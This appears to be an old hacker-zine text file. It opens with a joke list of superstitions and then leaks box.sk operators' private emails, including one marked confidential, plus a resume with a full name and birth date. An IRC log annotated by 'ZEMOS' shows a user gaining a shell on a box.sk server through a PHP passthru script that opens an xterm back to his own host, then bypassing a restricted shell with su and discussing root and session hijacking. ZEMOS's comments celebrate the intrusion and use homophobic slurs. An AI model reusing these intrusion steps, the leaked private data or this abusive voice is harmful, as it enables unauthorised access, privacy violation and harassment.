HOUSEKEEPING HINTS

        1. Don't take ashes out of the fireplace or wood stove between Christmas and New Year's Day.
        2. Never place a broom on a bed.
        3. Close umbrellas before bringing them into a house.
        4. Avoid sweeping after sundown.
        5. You mustn't wash clothes on New Year Day.
        6. Don't shake out a tablecloth after dark.
        7. Never wash a flag.
        8. Don't turn a chair on one leg.
        9. Keep cats off piano keys.
       10. Don't hang a dishcloth on a doorknob.
       11. Sweeping under a sick person's bed will kill him or her.
       12. Don't ever, ever rock an empty rocking chair.

       RENOVATION AND DECORATING

       13. Never add-on to the back of your house.
       14. You mustn't cut a new window in an old house; the only way to avoid fatal consequences is to toss your apron through the new window, and then jump through it yourself.
       15. Never drive a nail after sunset.
       16. Don't move into an unfinished house.
       17. Avoid carring axes, shovels, and other sharp-edged tools through a house; if you must take one inside, always take it out by the same door.
       18. If you move out of a house, don't move back into it for a year.
       19. Don't hang your sweetheart's picture upside-down.
       20. If a picture falls from the wall, don't pick it up.
       21. Never carry a peacock's feather into a house.
       22. Keep cut flowers out of bedrooms overnight.
       23. Don't ever carry a bouquet of wildflowers indoors before May 1.

       SEWING AND FASHION

       24. If you cut out a new dress on Friday, you must finish it that same day.
       25. Don't make new clothes between Christmas and New Year's Day.
       26. Never hold a stick in your mouth while sewing.
       27. Always sew cross-stich on your underwear.
       28. Don't walk around in one shoe.
       29. If you see a will-o'-wisp while out walking at night, turn your coat inside-out.
       30. Never wear another's new clothes before they have worn them.
       31. A woman who makes her own wedding dress will not live to wear it.

       COOKING AND TABLE MANNERS

       32. Never set three lamps on a table at the same time.
       33. Don't set the table backwards.
       34. Never serve 13 at a table.
       35. Avoid drinking coffee at 5 o'clock.
       36. You mustn't write on the back of a dish.
       37. Never return borrowed salt.
       38. Don't ever cross knives while setting the table.
       39. Be sure that someone else cooks your birthday dinner.
       40. Don't put two forks at one place setting.
       41. Never, never turn a loaf of bread upside down.

       SLEEPING

       42. Sleeping with your head at the foot of the bed is surely fatal.
       43. Don't sing in bed.
       44. If you hear a dog howl at night, reach under the bed and turn over a shoe.
       45. Don't count stars.
       46. A man should never dream of a naked woman; a woman should never dream of a naked man. (You know who you are...)

       PERSONAL HYGIENE

       47. Never rub soap on your skin on a Friday.
       48. Don't look into a mirror over another's shoulder.
       49. Avoid combing your hair after dark.
       50. Absolutely no haircuts in March.
       51. Let a baby's hair and fingernails grow until their 1st birthday.
       52. Don't let two people comb your hair at once.
       53. Never shave at night.
       54. NEVER, EVER share a razor used by a dead man.
      
       FUNERAL ETIQUETTE

       55. Never hold a funeral on a Friday.
       56. When a person dies in a house, you must immediately cover all mirrors and stop all clocks.
       57. Children should not pretend to have funerals.
       58. Don't ever try on a mourning veil.
       59. Always remove a dead body from a house feet first.
       60. Never ride in a hearse, unless you are the driver.
       61. Don't count the cars in a funeral motercade.
       62. Avoid wearing new clothes to a funeral, especially new shoes.
       63. Pull the shades in a room where a funeral service is taking place: if the sun hits a mourner's face, he is the next to die.
       64. When walking in a funeral procession, don't look backwards.
       65. Never point at a grave.
       66. Try not to step across a grave.
       67. Never leave a grave open overnight.
       68. Don't ever be the first to leave the graveyard after a funeral.
       69. If a corpse lies unburied on Sunday, another in town will surely die soon.
       70. Wait a year before putting up a tombstone for a family member; if you don't, another family member will go before the year has ended.
       
       GENERAL AND MISCELLANEOUS

       71. Drink May rainwater.
       72. When sick, don't look in mirrors.
       73. Don't give a person a peony.
       74. Never measure your own height.
       75. Try not to imagine it's Saturday when it's not.
       76. Don't count cars on a passenger train.
       77. Never whistle in a coal mine.
       78. Avoid measuring a person who is lying down.
       79. Don't walk backwards.
       80. You mustn't allow a candle to burn itself out.
       81. Never sell a dog.
       82. Try not to kill a crow; but if you do, be sure to bury it while wearing black.
       83. If you transplant a cedar tree, you will die by the time it is big enough to shade a grave.
       84. The same is true of a willow tree (as in 83)
       85. Don't ever hang your hoe on a tree branch.
       86. Don't skip a row when planting corn or beans.
       87. If you watch a person out of sight, you'll never see them again.
       88. Avoid stepping over a person who is lying down.
       89. When your name is called, don't answer the first time-it may be the Devil calling you.
       90. Never shake hands through a window or over a fence.
       91. Try not to sit with your back to the fire.
       92. Don't burn sassafras wood.
       93. If you walk with your hands locked behind your head, it will kill your mother.
       94. Don't even THINK of mocking an owl.
       95. Don't store your shoes above your head.
       96. Never kill a locust.
       97. Never kill a lizard.
       98. If you hear a hen crow, you must kill the hen.
       99. If you are on a train when a woman boards, dressed in black, get off.
       100.Whatever you do, don't let a lizard count your teeth.
       101. DO NOT PISS OFF ZEMOS

ZEMOS PRESENTS:

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okay, if too many ppl protest against it then i don't have much choice but to stop it 
now, too bad, i wanted to see if this would work on long term. but the last 48 hours 
bsrf and neworder are active like lsd with 40+ users in each. 

On 12 Mar 2003 at 22:24, marek wrote:

> please stop this kind of banning policy. its not only my opinion but other ops
> as well, that if this policy would be applied, the half of opers at #neworder
> or #bsrf or any other channels would have to be banned
> 
> with respect
> 
> marek
> 
> 
> On Wed, Mar 12, 2003 at 10:13:07PM +0100, grendel@box.sk wrote:
> > yeah it sounds like that, but it works...people are active and chatting etc
> > i put in an experimental policy that ppl who idle days/weeks without a word or 
> > hardly can get banned and treated as bots. 
> > 
> > that zach for example he idled so long (not talking about hours) never a word, till i 
> > removed him from the main channels then he spoke...
> > 
> > the one who don't do shit for us are the ones which scream fire and hell mate:)
> >  
> > 
> > trust me,
> > 
> > Grendel
> > 
> > 
> > On 12 Mar 2003 at 19:23, marek wrote:
> > 
> > > hey guys, that can't be serious, are we banning people 
> > > from IRc for idling ?
> > > 
> > > (19:18:52) zach nakaska: oh, i found out why i was banned from those channels
> > > (19:19:07) zach nakaska: it was because i "didn't participate as often as i should"
> > > (19:19:30) zach nakaska: because i don't close irc when i leave my house or go to sleep and stuff, so i'm in there idling, and usually i'll put "zach'afk" or something
> > > (19:19:46) zach nakaska: according to grendel
> > > (19:19:48) zach nakaska: at least
> > > 
> > > 
> > > that's kinda fucked up mates, isn't it :(
> > > 
> > > with respect,
> > > marek
> > 


I was gonna read and stay quiet about this issue, because i try to keep
away from irc matters, lately. However, marek asked me to give my opinion
about this, so here it goes.

First things first, i always said that the irc network was full of power
hungry people (i am not making any acusations here). This is one of the
main reasons why i left. It is a problematic network with problematic
(h4x0r) users. That was obvious from day 1, due to the nature of the sites
box network runs off.

Anyway, the point here is the power abuse. Lets analize the concept of a
chat network. People are there to chat, get to know each other, and do all
the crap we all know (like trading illegal software, etc. you know what i'm
talking about). Anyway, if a user wants to talk now, and idle for some
hours, can he do that? But of course he can. A irc network is also about
freedom of speech and opinion. If he chose to be idling, let him idle. If
he doesn't have anything to add to any discussion, why should he talk?

This is stupid, i never thought this would happen in the first place, but
now that it has, i just have to condemn it. Feissel, please relook at your
banning criteria. The irc network will be minuscule if this behaviour
continues (it already is! -- it'll only get worse).

Apart from that, keep on the good work, people.
I have been away from box issues, i know, but life's just not enough for me
to dedicate myself to loads of things. I have to prioritize what will help
out with my future, thus my half-depart.

Hope everybody is doing well.
My deepest compliments to you all.

Always here to help.
Fred


"First things first, i always said that the irc network was full of power
hungry people"

"Anyway, the point here is the power abuse."



---------------

AND AGAIN...

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Dear Marek,

Today, 3-4-2003, i banned Matt for opping yet again a user to kick/ban another 
user. lately he's been opping eightball to kick/ban users, reason today because 
one user is from france so matt thought eightball has the 'right' to kick/ban him

I warned him several in the last weeks for opping with his 'leet' script people like 
eightball and others to kick/ban. I talked every time to the rest of the more reliable 
ops in #bsrf and they did not Op any one, it's always Matt.

Also some time ago, he used my name to kick/ban a user by using chanserv so his 
name doesn't show up. Logs exist and can be provided, even by another Op who 
witnessed it.

So today i removed him from #bsrf and banned him. I sent aztek a memo to talk 
with him before he gets his Op back in #bsrf.

So no matter what he says, no matter what he lies, you know the facts and that's all 
i'm going to waste on such a low pathetic sneaky so called Op.

this mail is confidential and is not meant to be seen other then you and aztek.

Kind regards,

Grendel

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WTF?!?!%&@#

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Hi Lukas,


thanks for a resume,

I'll love you to have you there at Seoul,
plaese confirm if you really can make it on about 20-25th July,
I'll tell you exact date next week.

I'd like you to have you there as a chief security consultant for
a Box Network :-) If there's other position you'd like to have
just tell me :-) Your trip will be financed by us in full, and I'll 
send you the money enough in advance for you to buy tickets and all.

I'll talk to those korean people Monday in order to specify most 
needed subjects to talk about.

I'm very happy these things are happening, maybe I'll be able
to come to Korea as well hehe.

ok, will let you know details Monday/Tuesday. Please try to not arrange
any trips during 20-25th July :-)

Marek


> 
> Hi Marek,
> 
> Okay, you asked for a brief resume, so here it is 
> :
> ------------------------------------------------------
> 
> Full Name:
>     Lukas Jay Dickie
> 
> Date of Birth:
>     October 30th, 1979
> 
> Education:
>     Normandale College
>     Computer Science
>     Bloomington, MN  55431
> 
>     South Central Technical College
>     Emergency Medical Technician
>     Mankato, MN
> 
>     Waseca High School
>     Waseca, MN  56093
> 
> 
> Work Experience:
>   January 1999 - Present (2000)
>     System Admin / Production Manager for Web Division
>     Enterprise Network Systems
> 
>     Job detail:
>     Maintained Linux, Solaris & NT servers
> 
>   August 1998 - December 1998
>     System Admin
>     Bennett Internet / ComputerLand
>     Willmar, MN  56201
> 
>     Job detail:
>     Maintained Linux, Solaris & NT servers
>     
>   June 1998 - August 1998
>     Security Officer for GE Superabrasives
>     Doyle Protective Services
>     Columbus, OH
> 
>     Job detail:
>     Fulfilled security duties for the General Electric
>     Superabrasives plant.
> 
>   1997 - June 1998
>     System Admin
>     Pantheon Internet Technologies
>     Waseca, MN  56093
> 
>     Job detail:
>     Maintained Linux, Solaris & NT servers
> 
>   1996 - 1997
>     Lead Internet Technician
>     Platinum Internet Technologies
>     Waseca, MN
> 
>     Job detail:
>     Became lead technician within two months of
>     employment, conducted technical support for the
>     local and external service (Waseca, Owatonna,
>     Faribault and Rochester) and worked with the
>     company from start to finish.
> 
>   1994 - 1995
>     Internet Technical Support
>     Clear Lakes / Lakes Internet
>     Mankato, MN
> 
>     Job detail:
>     Helped start the company at the age of 14 (I was
>     given the opportunity to name it Clear Lakes
>     Internet) and consumed a wealth of information
>     which gave me a jump-start in the networking field.
> 
> 
> Additional Experience:
>     I have experience with the Linux, Solaris, NT4
>     and Win95/98/2k Operating Systems.  I also have
>     knowledge with CISCO, 3COM, Ascend, Livingston and
>     Asante products.  A few projects that I have worked
>     on for web development are:
> 
>       State of Minnesota D.A.R.E.
>       Minnesota Juvenile Officer's Association
>       Prairie Regional Arts Council
>       Century21
>       Waseca County Historical Society
>       Pantheon Internet
>       Platinum Internet
>       Clear Lakes Internet
>       Waseca Public Schools
>       Youth Service Leadership
> 
> 
> Interests:
>     Golfing, fishing, water-skiing, water tubing,
>     skateboarding, snowboarding, rollerblading, biking,
>     and of course computers.
> 
> 
> end of resume
> ------------------------------------------------------
> 
> I could give speeches on the following topics:
> 
>   - Linux/Un*x security
>   - Deamon security
>     - FTP
>     - Shell
>     - Web
>     - DNS (Bind)
>   - IP Spoofing
>   - Security Software (SSH, sXid, Tripwire, etc..)
>   - Tricking the hackers, always stay one step ahead.
> 
> Basically, I could talk about anything you want people
> to know.  I have a lot of experience with dealing with
> an audience.  My senior year of high school I taught
> computer courses for credits, I am in a band (which I'm
> always presenting myself to people), and I have good
> 'ol Linux Radio.  So as you know Marek, I have a LOT of
> people skills and am very comfortable in large
> audiences.  I would love to represent Box Network, and I
> feel I would do a superb job!  But anywho, let me know
> if you want me to do this for you, because I'll need to
> let ENS know in advance.
> 
> -luke

Ok, the whole thing starts I guess a year or two ago, when Mike Stevens, #*#* One year ago means year 2000
leader of Unixclan, a linux enthusiast group asked me for to give him some 
webspace for his project. Actually I hadn't any free server to support him 
with, so I've gave him an ftp access to dwarf, quite sensitive and important 
server at box network which holds indeed many mail boxes of box network members 
and hosts sites like my.box.sk, edge.box.sk, vlfs.org etc. 

Nothing seemed to be weird until I received the log from Onslaught, one of the irc 
opers at irc.box.sk. 

here's the full chat logfile between ONSLAUGHT and Mike Stevens, with a few of my 
comments, starting with ###, to better understand the situation. 

ZEMOS has added comments begining with #*#* where necessary

THE TRUTH MUST BE HEARD


---------------- chat begins 

Session Start: Sun Jun 17 04:15:32 2001M 
[04:13] <mike> lolM 
[04:14] <mike> okM 
[04:14] <mike> here it goesM 
[04:14] <ONSLAUGHT> mike@dwarf.box.sk :PM 
[04:14] <mike> I uploaded a scriptM 
[04:14] <mike> oh ohM 
[04:14] <mike> noM 
[04:14] <ONSLAUGHT> heh?M 
[04:14] <mike> my shell used to be /usr/bin/passwdM 
[04:14] <mike> meaning I shouldn't have been able to get a sgellM 
[04:14] <mike> *shellM 
[04:15] <mike> first I made a php fileM 
* Logging mike to 'logsmike.log'M 
#*#* Obviously this faggot wanted to report mike in at the first chance, do i see jealousy here?
[04:15] <mike> <? passthru("/home/mike/xt") ?>M 
[04:15] <mike> then I uploaded xtyM 
[04:15] <mike> errM 
[04:15] <mike> xtM 
[04:15] <mike> xt is a script I madeM 
[04:16] <ONSLAUGHT> hrmM 
[04:16] <mike> export DISPLAY=unixclan.box.sk:0.0M 
[04:16] <mike> xtermM 
[04:16] <mike> I then visit my php script after allowing X connections from elf.box.sk (with xhos 
[04:16] <ONSLAUGHT> and then you used ftp to execute it and get a term?M 
[04:17] <mike> badabingM 
[04:17] <ONSLAUGHT> hrmM 
[04:17] <ONSLAUGHT> different than i thoughtM 
[04:17] <ONSLAUGHT> interestingM 
[04:17] <mike> I get a xterm running bash (as nobody)M 
[04:17] <mike> can't execute from elf's ftpM 
[04:17] <ONSLAUGHT> and nobody has perms to run bx? hehM[04:17] <mike> bx?M 
[04:17] <mike> no noM 
[04:17] <mike> even more leetM 
[04:18] <mike> nobody is a lame shellM 
[04:18] <ONSLAUGHT> what distro is on elf btw?M 
[04:18] <mike> I don't even know the password to itM 
[04:18] <mike> DebianM 
[04:18] <ONSLAUGHT> btw, you don't mind if i toss this log over to fred, do you?M 
[04:18] <ONSLAUGHT> (kript0n)M 
[04:18] <mike> nope, don't careM 
[04:18] <ONSLAUGHT> seeing as he's one of the admins, might help ;)M 
#*#* right....
[04:18] <mike> well suing to my login would be cool, right?M 
[04:19] <ONSLAUGHT> ah, debian allows suing into unbashable logins?M 
[04:19] <ONSLAUGHT> thats *one* thing redhat does right hehM 
[04:19] <mike> sort ofM 
[04:19] <ONSLAUGHT> wellM 
[04:19] <mike> normal su drops you into your default shellM 
[04:19] <mike> which was to change my passwordM 
[04:19] <ONSLAUGHT> ahM 
[04:19] <mike> the -c option doesn't work cuz adding a parameter to passwd does shitM 
[04:20] <mike> however there is a little remembered option called -sM 
[04:20] <mike> shell!M 
[04:20] <ONSLAUGHT> so you've got the privs to set yer pass? then it just didn't distinguish fro 
[04:20] <mike> ahaha!M 
[04:20] <mike> su -s /bin/bash mikeM 
[04:20] <ONSLAUGHT> hrmM 
[04:20] <ONSLAUGHT> i wasn't familiar with that extension eitherM 
[04:20] <ONSLAUGHT> infactM 
[04:20] <mike> Now I am finally mike and am running a program of my choiceM 
[04:20] <ONSLAUGHT> i don't believe i've ever done a su --helpM 
#*#* yes, not only that, youve never used a fucking unix box in your life.
[04:20] <mike> soM 
[04:21] <mike> I know my passwordM 
[04:21] <mike> so why not make logins easierM 
[04:21] <mike> chshM 
[04:21] <mike> passwordM 
[04:21] <mike> my shellM 
[04:21] <mike> as for root, cube has suid perl installedM 
[04:22] <mike> the old oneM 
#*#* Damn straight, even with debian apt-get you cant keep your shit up to date... tsk tsk
[04:22] <ONSLAUGHT> odd that he doesn't run host.allow listingsM 
[04:22] <mike> for what?M 
[04:22] <mike> I'm sshing inM 
[04:22] <ONSLAUGHT> for at very least telnet/sshM 
[04:22] <mike> well ssh is enabledM 
[04:23] <mike> normally you ssh in to change your passwordM 
[04:23] <ONSLAUGHT> well he can still set it to deny * aside from what's in the host.allowM 
[04:23] <mike> so, it wouldn't have stoped meM 
[04:23] <ONSLAUGHT> well apparently notM 
[04:23] <mike> My first connection was a back connection to my machineM 
[04:24] <mike> My first reall connection is the one going in with my final accountM 
[04:24] <ONSLAUGHT> 4am here, sorry, just having a tad difficulty understanding from 
the beginingM 
[04:24] <ONSLAUGHT> but i do believe i understand what you're sayingM 
#*#* No, You Dont 
[04:25] <mike> if I was _really_ desperate I could have writen a small daemon program to listen o 
[04:25] <mike> then drop me into a shelllM 
[04:25] <mike> as it is I could pop root M 
[04:25] <mike> but I left that beM 
#*#* Obviously, stevens is a good honest guy. In other words a good person to have on your team.
#*#* But of course, box.sk rejects anyone smarter than themselves. Sigh. You all thought 
#*#* Stevens would take over your lame adminz powerz. Well your rooted now fucking lamers!!!
[04:25] <mike> gotta wait for cube in a bitM 
[04:26] <ONSLAUGHT> ya, he's probably out in the woods or something hehM 
[04:26] <mike> yea its 5 something here tooM 
[04:26] <mike> should I turn on b00t?M 
[04:26] <mike> lolM 
[04:26] <ONSLAUGHT> assuming he didn't allow ssh for pass changing, would you still have been abl 
[04:27] <ONSLAUGHT> heh, not sureM 
[04:27] <ONSLAUGHT> i thought you had access to b00t anywayM 
[04:28] <mike> b00t has been deadM 
[04:28] <ONSLAUGHT> ya i knew thatM 
[04:28] <ONSLAUGHT> just didn't know the reason for it being deadM 
[04:28] <ONSLAUGHT> and it's probably best for all of usM 
[04:29] <mike> /dev/hda1 1190014 777142 351386 69% /M 
[04:29] <mike> /dev/hda2 1069127 783910 229979 78% /usrM 
[04:29] <mike> /dev/hdd 19729380 4243840 14483336 23% /sys3M 
[04:29] <mike> /dev/hdc1 3921404 3678512 43688 99% /gfxM 
[04:29] <mike> /dev/hdc7 2664368 2399520 129504 95% /homeM[04:29] <mike> /dev/hdc6 7842964 3518912 3925644 
48% /sys2M 
[04:29] <mike> /dev/hdc5 5178536 1827124 3088352 38% /sysM 
[04:29] <mike> /dev/hdb1 18577596 1864824 15768956 11% /sys4M 
[04:29] <mike> /dev/hdb2 1146384 608964 479188 56% /varM 
[04:29] <mike> hehehehM 
[04:29] <mike> lolM 
[04:29] <mike> I liked the logsM 
[04:29] <ONSLAUGHT> ya the logs are funny as hellM 

[04:31] <mike> lsM 
[04:32] <mike> hahaM 
[04:32] <mike> I am eleetM 
[04:33] <ONSLAUGHT> sun is coming up, i gotta hit the sack... M 

### now Mike logs as a b00t bot, as it was compiled with access 755, anyone trusted from the box 

#*#* Wow you know your permissions quite well there.... obviously not well enough,
you should have chmoded the fucking bot properly. But thats not even the point, why are you 
bitching about mike using the godam bot? is this such a crime? right now mike can be defacing 
all your websites, corrupting your databases. Box.sk could be DEAD, GONE right now- but 
he starts up the irc bot. 
Fucking A.
[04:33] <b00t> hold onM 
[04:33] <ONSLAUGHT> hehM 
[04:33] <b00t> lemme registerM 
[04:33] <b00t> oohM 
[04:33] <b00t> bitch bitch bitchM 
[04:34] <b00t> hehehehM 
[04:34] <ONSLAUGHT> already regged?M 
[04:34] <b00t> I did it myselfM 
[04:34] <b00t> I grepped for acidblood on the serverM 
[04:34] <b00t> and found the config gffileM 
[04:34] <b00t> *fileM 
[04:34] <ONSLAUGHT> fjearM 
[04:35] <b00t> lolM 
[04:35] <b00t> I am godM 
[04:35] <ONSLAUGHT> no, right now you're only mikeM 
[04:35] <ONSLAUGHT> lets see if you can su godM 
[04:35] <ONSLAUGHT> :PM 
[04:36] <b00t> lolM 
[04:36] <b00t> I should add myself a userM 
[04:37] <ONSLAUGHT> ya... give yourself something like /home/iamthemosteleethax0rinallofskM 
[04:37] <ONSLAUGHT> :PM 
[04:37] <b00t> lolM 
[04:37] <b00t> yeaM 
[04:37] <ONSLAUGHT> and then fill it up with pornM 
[04:37] <ONSLAUGHT> see if he noticesM 
[04:38] <b00t> there is only 100mb free on /homeM 
[04:38] <ONSLAUGHT> haM 
[04:38] <ONSLAUGHT> well then ln some of the other partitionsM 
[04:38] <ONSLAUGHT> and fill them :PM 
[04:38] <b00t> he has 3x 20 gig drives in the computerM 
[04:38] <ONSLAUGHT> or, install egg, run it as b00t and see if anyone notices a differenceM 
[04:39] <b00t> Linux version 2.4.2 (root@dwarf) (gcc version 2.95.2 20000220 (Debian GNU/Linux)M 
[04:39] <b00t> ) #1 Sat Mar 17 15:18:19 CET 2001M 
[04:39] <b00t> BIOS-provided physical RAM map:M 
[04:39] <b00t> BIOS-e820: 000000000009fc00 @ 0000000000000000 (usable)M 
[04:39] <b00t> BIOS-e820: 0000000000000400 @ 000000000009fc00 (usable)M 
[04:39] <b00t> BIOS-e820: 0000000000010000 @ 00000000000f0000 (reserved)M 
[04:39] <b00t> BIOS-e820: 0000000000010000 @ 00000000ffff0000 (reserved)M 
[04:39] <b00t> BIOS-e820: 000000000ff00000 @ 0000000000100000 (usable)M 
[04:39] <b00t> On node 0 totalpages: 65536M 
[04:39] <b00t> zone(0): 4096 pages.M 
[04:39] <b00t> zone(1): 61440 pages.M 
[04:39] <b00t> zone(2): 0 pages.M[04:39] <b00t> Kernel command line: auto BOOT_IMAGE=2.4.2 ro root=301M 
[04:39] <b00t> Initializing CPU#0M 
[04:39] <b00t> Detected 434.331 MHz processor.M 
[04:39] <b00t> Console: colour VGA+ 80x25M 
[04:39] <b00t> Calibrating delay loop... 865.07 BogoMIPSM 
[04:39] <b00t> Memory: 255712k/262144k available (925k kernel code, 6044k reserved, 362k data, M 
[04:39] <b00t> 180k init, 0k highmem)M 
[04:39] <b00t> Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)M 
[04:39] <b00t> Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)M 
[04:39] <b00t> Page-cache hash table entries: 65536 (order: 6, 262144 bytes)M 
[04:39] <b00t> Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)M 
[04:39] <b00t> hda: 4999680 sectors (2560 MB) w/256KiB Cache, CHS=620/128/63M 
[04:39] <b00t> hdb: 40088160 sectors (20525 MB) w/1961KiB Cache, CHS=2495/255/63M 
[04:39] <b00t> hdc: 39876480 sectors (20417 MB) w/1966KiB Cache, CHS=39560/16/63M 
[04:39] <b00t> hdd: 40088160 sectors (20525 MB) w/1961KiB Cache, CHS=39770/16/63M 
[04:40] <b00t> the machine has 256mb memoryM 
[04:40] <ONSLAUGHT> you knowM 
[04:40] <ONSLAUGHT> you coulda just hitM 
[04:40] <ONSLAUGHT> cfdiskM 
[04:40] <ONSLAUGHT> and seen all of the drives :PM 
[04:41] <b00t> nah I wanted to show off the CPU and stuffM 
[04:41] <ONSLAUGHT> ever heard of /proc/cpuinfo ?M 
[04:41] <ONSLAUGHT> :PM 
[04:41] <ONSLAUGHT> and not spamming onni's pmsgM[04:41] <ONSLAUGHT> hehM 
[04:41] <b00t> hey, do you think its easy hereM 
[04:42] <ONSLAUGHT> rather nano /proc/cpuinfoM 
[04:42] <b00t> I'm using remote X over elf's shitty connectionM 
[04:42] <ONSLAUGHT> remote x?M 
[04:42] <ONSLAUGHT> wtfM 
[04:42] <b00t> look at my versionM 
[04:42] <b00t> I am using xchatM 
[04:42] <b00t> lolM 
[04:43] <ONSLAUGHT> that's how you hacked it together, connecting remotely to it's xserver?M 
[04:43] -> [b00t] VERSIONM 
[04:43] <ONSLAUGHT> :PM 
[04:43] <b00t> no. my xserverM 
[04:43] <b00t> I go into my shell an run xchat , telling the output to goto my serverM 
[04:44] <b00t> xchat is a clientM 
[04:44] <ONSLAUGHT> ahM 
[04:44] <b00t> xchat runs on elfM 
[04:44] <ONSLAUGHT> and yes, i know what xchat isM 
[04:44] <b00t> and the server is unixclan.box.sk:0.0M 
[04:44] <ONSLAUGHT> ah, told you i was slow at this time in the morningM 
[04:44] <b00t> but x is slow over a shitty connectionM 
[04:45] <b00t> doesn't seem like elf can send fastM 
[04:45] <b00t> probally DSLM 
[04:45] <ONSLAUGHT> hrmM 

[04:45] <ONSLAUGHT> isn't elf local to marek?M 
[04:45] <b00t> yes I believeM 
[04:45] <b00t> elf is importantM 
[04:46] <b00t> I can access all the files to admin.box.skM 
[04:46] <b00t> etc...M 
[04:46] <ONSLAUGHT> well if elf is localM 
[04:46] <ONSLAUGHT> it's on 2mbitM 
[04:46] <ONSLAUGHT> althoughM 
[04:46] <ONSLAUGHT> he may have his router partitioning capsM 
[04:46] <b00t> what's the up?M 
[04:47] <b00t> cuz cube has an async line to his placeM 
[04:47] <ONSLAUGHT> i do believe it's a 2mbit, on fiberM 
[04:47] <b00t> fiber?M 
[04:47] <b00t> not 2mbitM 
[04:47] <b00t> not asyncM 
[04:47] <ONSLAUGHT> i assumed it was on fiberM 
[04:47] <ONSLAUGHT> although it still could be old copper loopsM 
[04:47] <b00t> it's his houseM 
[04:48] <ONSLAUGHT> so probably like 2x t1 on copperM 
[04:48] <b00t> I could write a program to beep alotM 
[04:48] <b00t> see if he wakes up or noticesM 
[04:48] <ONSLAUGHT> hehM 
[04:49] <ONSLAUGHT> ya, or recurring msgs to his terminal windowM 
[04:49] <ONSLAUGHT> or even better would be to cat his sound with yoursM 
[04:49] <ONSLAUGHT> and start blasting shitM[04:50] <ONSLAUGHT> although i'd go with the beepingM 
[04:50] <ONSLAUGHT> that seems much more subtleM 
[04:50] <b00t> lolM 
[04:50] <b00t> No, a hey cube, what's up ! would be coolM 
[04:50] <b00t> Wazzzzzzzzzzup!!!!!M 
[04:50] <b00t> lolM 
[04:50] <b00t> what a wakeup callM 
[04:50] <b00t> your server doing that to youM 
[04:51] <b00t> I wrote a program to use the internal speaker to play wav files M 
[04:51] <b00t> it could come to be usefulM 
[04:51] <b00t> lolM 
[04:51] <ONSLAUGHT> pfftM 
[04:51] <ONSLAUGHT> wavM 
[04:51] <ONSLAUGHT> if you wanna be real l33tM 
[04:51] <ONSLAUGHT> go midiM 
[04:51] <b00t> oh yea, nut.napri.sk is local to this boxM 
[04:51] <b00t> and 194.1.129.230M 
[04:52] <ONSLAUGHT> ya, and napri is his provider, so what does that tell us :PM 
[04:52] <b00t> routerM 
[04:53] <ONSLAUGHT> ^--- that line was meant to have sarcasm :PM 
[04:53] <b00t> cube better get back soonM 
[04:54] <b00t> I'm gunna end up having root on every box.sk server if he doesn't come back soonM 


###------ at this point you can see how much is Mike hungry for hacking server from usual local s 
#*#* Again, you ph33r someone who is smarter than you. Yea, he was hungry for 
hacking server, he wasnt hungry for destroying it. However, it doesnt sound all that bad eh? :-P

[04:54] <ONSLAUGHT> or wouldn't you feel real stupid if he was outside while you had it beeping f 
[04:54] <b00t> I'll get bored sitting here with control of a boxM 
[04:55] <ONSLAUGHT> my final suggestion before i go to bedM 
[04:55] <b00t> He's telnetting into another box (into root)M 
[04:55] <ONSLAUGHT> root it, kill his users, then reset the login msgM 
[04:55] <b00t> I could hijace the connectionM 

###------ does it need any comments 
#*#* So why did u put one you communist bitch? You deserve it, telnet to root
how low can you go?

[04:55] <b00t> *hijackM 
[04:55] <ONSLAUGHT> so then once he logs back in, he sees itM 
[04:56] <b00t> then have root on p3.box.skM 
[04:56] <b00t> no noM 
[04:56] <b00t> keep the users M 
[04:56] <ONSLAUGHT> and i would do i with something like *onni eats cubes ropeM 
#*#* Yes, we are aware your a flaming faggot
[04:56] <b00t> use wallM 
[04:56] <b00t> and hijack the connectionM 
[04:56] <ONSLAUGHT> you've got lots of options :PM 
[04:56] <ONSLAUGHT> have funM 
[04:56] <b00t> heheheM 
[04:56] <b00t> the ultimate prize is neworder.box.skM 

### ------ .... 
#*#* 
BAHAHAHAH 1 GU3SS Z3M0S W0N TH3 C0N73S7 #!%@!
[04:56] <ONSLAUGHT> i'm crashing, otherwise my gf'll kill me in the morningM 
[04:56] <b00t> hehehehM 
[04:57] <b00t> sleep ? what's that?M 
[04:57] <ONSLAUGHT> something i did 3 days agoM 
[04:57] <b00t> lolM 
[04:57] <ONSLAUGHT> but my gf just got in town last night, so now she's using her 'emminant domai 
[04:57] <b00t> I think I should change the title of neworder.box.sk if I get inM 
[04:57] <ONSLAUGHT> ie, i'm her bitchM 
[04:58] <b00t> like unixclan is coolM 
[04:58] <b00t> lolM 
[04:58] <ONSLAUGHT> check yer mikestevens ircM 
[04:58] <b00t> well see yaM 
[04:58] <b00t> okM 
[04:58] <ONSLAUGHT> notice the subtle changes in kript0n's logosM 
[04:59] <ONSLAUGHT> :)M 
[04:59] <ONSLAUGHT> niteM 
[04:59] <b00t> will doM 
[04:59] <b00t> logos?M 
[04:59] <ONSLAUGHT> ya from his boardM 
[04:59] <ONSLAUGHT> 2 gifs i'm sending youM 
[04:59] <b00t> oh okM 

[04:59] <b00t> latersM 
[04:59] <b00t> dcc/M 
[04:59] <b00t> ?M 
[04:59] <ONSLAUGHT> yaM 
[04:59] <b00t> hold onM 
[04:59] <ONSLAUGHT> don't you see the dcc on mikestevens?M 
[04:59] <b00t> I gotta switch this monitorM 
[04:59] <b00t> talk on thereM 
[05:00] <ONSLAUGHT> okie niteM 
[05:00] <ONSLAUGHT> enjoy :PM 


------------- chat ends 

### here follows the chat with Mikkkeeee, the BSRF leader who asked me to explain 
### what's going on, sorry I'm too lazy to rewrite that again 


<Mikkkeee> hey cube 
<cube> hey mikke 
<Mikkkeee> i got to speak to you about something important 
<cube> yes I know 
<cube> me too 
<Mikkkeee> did you see mikestevens msg 
<Mikkkeee> what is going on 
<cube> mikke how much are you informed 
<cube> can you let me speak for 5 minutes ? 
<Mikkkeee> sure 
<cube> cool 
<cube> as you know, mike and oxblooed had ftp access to server dwarf/elf.box.sk 
<cube> which is quite essential at box network 
<cube> ok the story begins here, mike find a hole to get local shell access to 
server, even if he had only ftp access 
<cube> he was speaking with onslaugh about it 
<cube> here is the log 
<cube> I'll dcc 
<cube> please read that whole 
<cube> accept dcc 
<cube> tell me when you've finished 

### ---- Mikkkeee is reading the log file, posted above 

<Mikkkeee> damn cube what can i say 
<cube> [04:54] <b00t> I'm gunna end up having root on every box.sk server if 
he doesn't come back soonM 
<Mikkkeee> you gave them trust and this is what you het 
